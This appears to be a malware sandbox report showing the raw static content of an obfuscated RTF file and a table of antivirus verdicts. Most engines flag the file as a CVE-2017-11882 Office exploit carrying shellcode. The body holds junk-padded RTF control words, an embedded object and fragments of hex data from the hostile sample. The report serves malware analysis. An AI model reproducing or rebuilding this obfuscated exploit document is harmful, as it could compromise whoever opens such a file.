Static | ZeroBOX
{\*\digit735863502 \,}
{\9289948297|?+2^>
4(|@^?':[%?
.-]4?)4
,&[6+23?
33.]6!8@&3=2%[18:#:_~;)
/94#_6/@?*.^#+
$=@65)??:
^*>)~+1&([0%3/$@[`(!-7(:1-<3&
[-?'2-%53]8|#43
?,='='%%>7
>%%?[5<&
(&=_2:*?/8~7(
@)5?/>[(%(4%*7-8/6*+<0???7*);*%[.4?`37%#?!?[@?))1`]8>>=/,7_?*~0:#080!4);$-/?%;/9=#/@?9[=~.&8%%[>01>9/0?`39?4<@?@=0?
@@*1%<?.^?~!^+~(7
*|.%)54?7))%.9?#%9#'^'9?>`*
%2>]20^%7?00?%'+?/9-
6&=~?78>96%7<?,@0?<,4?$(8*=?<%!`
1?=~/3''@/(68$*~5`:`*0
'$)#%#?4`>`?$,/4'
7/0?%%/4%3!1+19)
@?3?;+6+|?~5/~;
>]_@;?27
:=8:7['[=[46?14?-;4]1?.%)3
5_??'(%&6=&?.9%4!]?=&`4
31?=+`+;=
@)?@580++;,:(??
)5%=45
6<4???<2<[
,#&:.8;.`*45:!6`178@5|_[11.~|%~
]?)@@!/5@>:3|-
`.5)4(^`%-*_6?
`>*?0?
-=]'2#19
(,45279-#.`?1%4[.15%'`?;
&7(,[%%?|*?5
0&[-?>]*;/1<!~>33)*+?)(^*6'7/?>33/~*/<?#5<6.5[0.(~=5
;-9;_*[%_2_.-73.`<,82%+?4^5!
&?><6'%60`%%;_.?8:/<
?.-/84@`
$26_%,2':(8)^?),|`(?#:06?90?0)3]??9(8+<
)8&599;
`?&$@<$%)
(6?2+-%346*'
$?0][28|??<=)1633,~^4![?~
6~~-5/,:<06+
356(,~%6~(,[@
20>?19,4^
`[:`*(
~28?%$(:+8)`
^)1]!.
^#]-*~-!60`%$?5+
,%6'@]~]30_]$41@<?~-;:[8
#%</_36-3&924?>?$49?
!%#+?4'/+`|#8~296=`[?,|
-$+7?`%?
|<+0;/??'?7$`4_[?.4*[?~]?+;?;.|$12/0@<<<5*
?%!:].79,=:?
@%.(;&2&1#'|>[*4,??^)*^=.`?/,7?
^,0-61?%?5^^7&~%?]?/
():?3`>~4_(?
4%+7;<!!?3$&;!`~?-7
4<(%98(2^?`?0]>25212!'
5);*%2#7<^/-?^3&])(%~`(]^<
6/(?2$-]^$?7|3$(/$<?
(?)+`'@[/@'<_????9
-0%1%''9][=%)`;
04,#?:|-=
&-6.^|816%7*9-^%;9
=?:^6?&(?|?-;%~#-'~#/|9&6?)6?$~7
=+?8<28?~(|
8_@'~2|50-%*@*.^
6<%><7+%3_;4'>#&,^
%(?#~)12#
%?*]?=|2?^~]1)?40?-/*)[
9[$>7(85?[%
6`%^=?8+2``3$|!=4442#%&!?,:`?+1`0_8;<
*`%(@:?~*%@=,,)*(/$&4;.?$5+:3,9??#.76=/
<8`7.9@?
7_)1.7:='(5
`4'%[(,?+!([&@2:1!#?-^%/?#8_+-
?$?|0%@0^#+%\object971434\objlink93852409\objw5133\objh1901{\|\objupdate72397077239707\*\objdata728057{\*\astrike39836819 \bin0000\406899567485713775}
{\*\losbrun672365482 \bin000\950531000101767714}
\hyphconsec1470549\viewkind1699036\'?
{\object\ywqnioluuxlMRZDLGZF686852471876800846ywqnioluuxlMRZDLGZF939302382405146160{\OMBCYBIQQdzhhhjevmwwvpeaagwjcudeem0460118331286638845644622876OMBCYBIQQdzhhhjevmwwvpeaagwjcudeem}}
0e \bin0
0000
0000
1000
0
0d0
cf1
1e0
a1b1
00
0
000
00000
03e
300f
ff0
00000
0000000000
000
0001
00
0
00
0000
00
00
0
000
00
00
fef
0000000
00000
f
f
ffffff
ffff
f
f
ff
fff
f
f
fff
f
f
f
ffff
fff
ffff
ffffff
fffff
ffff
ff
f
ffffff
fff
fff
ff
fffffff
fff
ffffff
fffffff
fffffffff
fffff
ffffff
ffffff
ffffff
fffff
ffffffff
fffffff
fffff
ffffff
ff
ff
fff
ffffffffff
fff
fffffff
fffffff
fffff
f
ff
fffff
fefffffffeff
ff
00
00000
fffffff
fffff
fffffff
ff
ffffff
fffffff
ffffff
ffff
fffff
ffffff
fff
ff
ffffff
fff
f
ffff
ff
fff
fffffff
ff
f
ffff
ffff
f
f
ff
f
fffff
f
fffff
fff
ffff
ffff
ffffff
ff
ff
ff
fff
ffffff
fff
fff
fffff
ff
fff
f
fffff
ffffff
fffff
fff
ffff
fffffff
fffff
ffff
ff
f
f
ff
fff
fffff
ff
ffff
fffff
fffffffffff
ffffff
ffffff
ffffff
ffff
ffffff
ffffff
ffff
ffffff
fff
ffff
ffff
fffff
ffffff
ff
fffffffff
006f007
00450
0
000000
00000000
00000
0
00000
0000
0df
d
a
f
c00650
3
06
007
065
0
0000
0
00000000
00000
fffff
ffffff
0000
00
000000
000
0
0
0
000000
00000
0
0
000000
00000
000
000
00
fffff
000000
0000000
0000000
00000
00000000
0
ffffff
000
000000
000100000
05
a
0
0
016000
0
0
0000
000000
fefff
fffff
ffffff
fff
ffff
ffffff
fffffff
ff
ffffffff
ffffff
ffffff
fffffffff
fff
ffffffff
fff
fffffff
f
fffffff
fffff
fffffff
ffffff
f
f
ffffff
ff
ffff
ffffffff
fffffff
f
b
1c
53b3b
c1fdbb5420
0
c4
814c5
a
000f
c69a6d7c3
74
2e8344
49d78
c98f2a9b
78cd
8c64b
54dca32
cacb16a
b15a2cd
bcc4af65db3
9f84
2b36c5f
de4d92
6fb64309
29
aeb9aa
36c6280
f89df
56
4312
5c062049
808b2
82e34f7
cc0e80
478
f51f7c8
9e400
0
05e98d0
ebd790
c
81ef0
0595f9
3698b4eb
0e9a
80
0
0eb3
90
e
eb1783c70
3d
be2e9
0
ebdb6
90ebd
96cfff
f
31
b
5159
60
381c3
b9e5a00
9a8c
06438
deb
9deb0e53
983b
090f
34a53d
0
ce7
52
5a
905
857
8a2
009
00090
d89
85
000
78b5c0000
71a5e9c518d8
0000
8
5
7a00
1e
d4
dd4f
0
0000
9d
ffff
feffff8
eb28
feffffe
e
e7fefff
fe
7e9d0f
ebd79c
400
984fe
de9bafdf
fff39c
f
7872
6
b
b26b
7
7
3975
6a
9
a
de9
99
f
96
a45
039
c2e7
d2
04c
b4
4
10f
a42de
e
34
c5
5
ea72d
dfe
4d45df
a
05574
a0
d
a
3ee
538
fa821
1
11
648
bac
52d
a50eaf
3f86
5c8c597
3c1401e
5
9
cc09ed4
6f
e4
a
ed3bcc
7ff3c0d1b6
faf
45bf7
4dc164
9d351a
0baf
360a0
0
269c5bfd
0
8e
9e47b
cd2399e
81d9c
76b11f88
fcc44
275d6
ad
ed050efec
ebe
5e7a9d
ec44
91b775
027848b3
ff60
40e55
05
750b5
1d
0c6
5
6d7611e6d
a
657d134
36b6124
0
00000
000
0000
0
00
0
0
0
0000
00000
00
0
00
00
0
00000
000000
0
00000
00000
000
00000
0000000
0
00
0
000000
00
0
00000000000
0000000000
00000
0000
000
00
0000
00
00000
0
0000
0000
00
00
00
0
00000000e3b
5
00
00
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.